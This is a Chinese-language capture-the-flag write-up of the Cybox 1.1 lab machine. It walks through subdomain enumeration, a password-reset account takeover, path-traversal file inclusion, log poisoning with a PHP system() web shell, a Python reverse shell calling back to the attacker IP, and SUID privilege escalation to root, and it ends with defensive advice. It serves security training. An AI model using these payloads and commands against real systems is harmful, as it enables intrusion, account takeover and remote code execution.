cybox:1.1靶机练习
字数 1266 2025-08-15 21:33:48

Cybox:1.1 靶机渗透测试教学文档

环境配置

  • 网络拓扑:VMware 15 NAT模式网络,网段192.168.1.0/24
  • 攻击机:Kali Linux (192.168.1.137)
  • 靶机:IP地址192.168.1.141

信息收集阶段

主机发现

nmap -sP 192.168.1.0/24

确认靶机IP为192.168.1.141

端口扫描

nmap -p- 192.168.1.141

发现开放端口:

  • 80 (HTTP)
  • 443 (HTTPS)
  • 21 (FTP)
  • 110 (POP3)
  • 143 (IMAP)

Web服务枚举

  1. 访问http://192.168.1.141发现域名cybox.company
  2. 修改/etc/hosts文件添加DNS记录:
192.168.1.141 cybox.company
  1. 目录爆破:
# 使用dirb
dirb http://192.168.1.141 /usr/share/dirb/wordlists/big.txt

# 使用gobuster
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

发现子域名:

  • dev.cybox.company (PHPinfo页面)
  • ftp.cybox.company (FTP登录页面)
  • webmail.cybox.company (邮箱登录)
  • register.cybox.company (用户注册)
  • monitor.cybox.company (监控系统登录)

漏洞挖掘与利用

1. 用户注册与密码重置漏洞

  1. 在register.cybox.company注册用户(如aaa)
  2. 在monitor.cybox.company尝试登录admin@cybox.company
  3. 点击"忘记密码",触发密码重置邮件
  4. 在webmail.cybox.company使用相同用户名(aaa)登录邮箱
  5. 获取密码重置链接
  6. 使用Burp Suite拦截请求,修改邮箱为admin@cybox.company
  7. 成功重置admin密码

2. 文件包含漏洞

  1. 登录admin账户后访问Admin panel
  2. 查看页面源代码发现PHP包含
  3. 测试文件包含:
http://monitor.cybox.company/admin/?page=../../../../etc/passwd

3. 日志注入获取Shell

  1. 定位Apache日志路径:/opt/bitnami/apache2/logs/access_log
  2. 通过FTP页面注入PHP代码:
<?php system($_GET['s']);?>
  1. 使用Burp修改User-Agent为上述代码并发送请求

  2. 触发代码执行:

http://monitor.cybox.company/admin/?page=../../../../opt/bitnami/apache2/logs/access_log&s=whoami
  1. 建立反向Shell:
# Kali监听
nc -lvnp 443

# 靶机执行
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

权限提升

1. 获取交互式Shell

python -c "import pty;pty.spawn('/bin/bash');"

2. 分析特权程序

  1. 查找SUID文件:
find / -perm -4000 2>/dev/null | grep -v "/usr/bin\|/usr/sbin"

发现/opt/registerlauncher

  1. 分析程序:
strings /opt/registerlauncher

发现调用/opt/register创建用户

3. 创建特权用户

  1. 通过register页面创建用户"sudo"
  2. 切换用户:
su sudo
# 密码与用户名相同
  1. 获取root权限:
sudo -i

4. 获取Flag

cat /root/root.txt

关键知识点总结

  1. 子域名枚举:通过修改hosts文件和gobuster工具发现隐藏服务
  2. 密码重置逻辑漏洞:通过邮箱劫持实现管理员账户接管
  3. 文件包含漏洞:通过路径遍历读取系统文件
  4. 日志注入:通过修改User-Agent注入PHP代码
  5. SUID提权:分析自定义SUID程序的功能实现权限提升
  6. 交互式Shell:使用Python获取完整TTY

防御建议

  1. 密码重置功能应验证用户所有权
  2. 限制文件包含的路径范围
  3. 对用户输入进行严格过滤
  4. 避免在日志中记录用户可控数据
  5. 谨慎设置SUID权限
  6. 实现最小权限原则
Cybox:1.1 靶机渗透测试教学文档 环境配置 网络拓扑 :VMware 15 NAT模式网络,网段192.168.1.0/24 攻击机 :Kali Linux (192.168.1.137) 靶机 :IP地址192.168.1.141 信息收集阶段 主机发现 确认靶机IP为192.168.1.141 端口扫描 发现开放端口: 80 (HTTP) 443 (HTTPS) 21 (FTP) 110 (POP3) 143 (IMAP) Web服务枚举 访问http://192.168.1.141发现域名 cybox.company 修改/etc/hosts文件添加DNS记录: 目录爆破: 发现子域名: dev.cybox.company (PHPinfo页面) ftp.cybox.company (FTP登录页面) webmail.cybox.company (邮箱登录) register.cybox.company (用户注册) monitor.cybox.company (监控系统登录) 漏洞挖掘与利用 1. 用户注册与密码重置漏洞 在register.cybox.company注册用户(如aaa) 在monitor.cybox.company尝试登录admin@cybox.company 点击"忘记密码",触发密码重置邮件 在webmail.cybox.company使用相同用户名(aaa)登录邮箱 获取密码重置链接 使用Burp Suite拦截请求,修改邮箱为admin@cybox.company 成功重置admin密码 2. 文件包含漏洞 登录admin账户后访问Admin panel 查看页面源代码发现PHP包含 测试文件包含: 3. 日志注入获取Shell 定位Apache日志路径:/opt/bitnami/apache2/logs/access_ log 通过FTP页面注入PHP代码: 使用Burp修改User-Agent为上述代码并发送请求 触发代码执行: 建立反向Shell: 权限提升 1. 获取交互式Shell 2. 分析特权程序 查找SUID文件: 发现/opt/registerlauncher 分析程序: 发现调用/opt/register创建用户 3. 创建特权用户 通过register页面创建用户"sudo" 切换用户: 获取root权限: 4. 获取Flag 关键知识点总结 子域名枚举 :通过修改hosts文件和gobuster工具发现隐藏服务 密码重置逻辑漏洞 :通过邮箱劫持实现管理员账户接管 文件包含漏洞 :通过路径遍历读取系统文件 日志注入 :通过修改User-Agent注入PHP代码 SUID提权 :分析自定义SUID程序的功能实现权限提升 交互式Shell :使用Python获取完整TTY 防御建议 密码重置功能应验证用户所有权 限制文件包含的路径范围 对用户输入进行严格过滤 避免在日志中记录用户可控数据 谨慎设置SUID权限 实现最小权限原则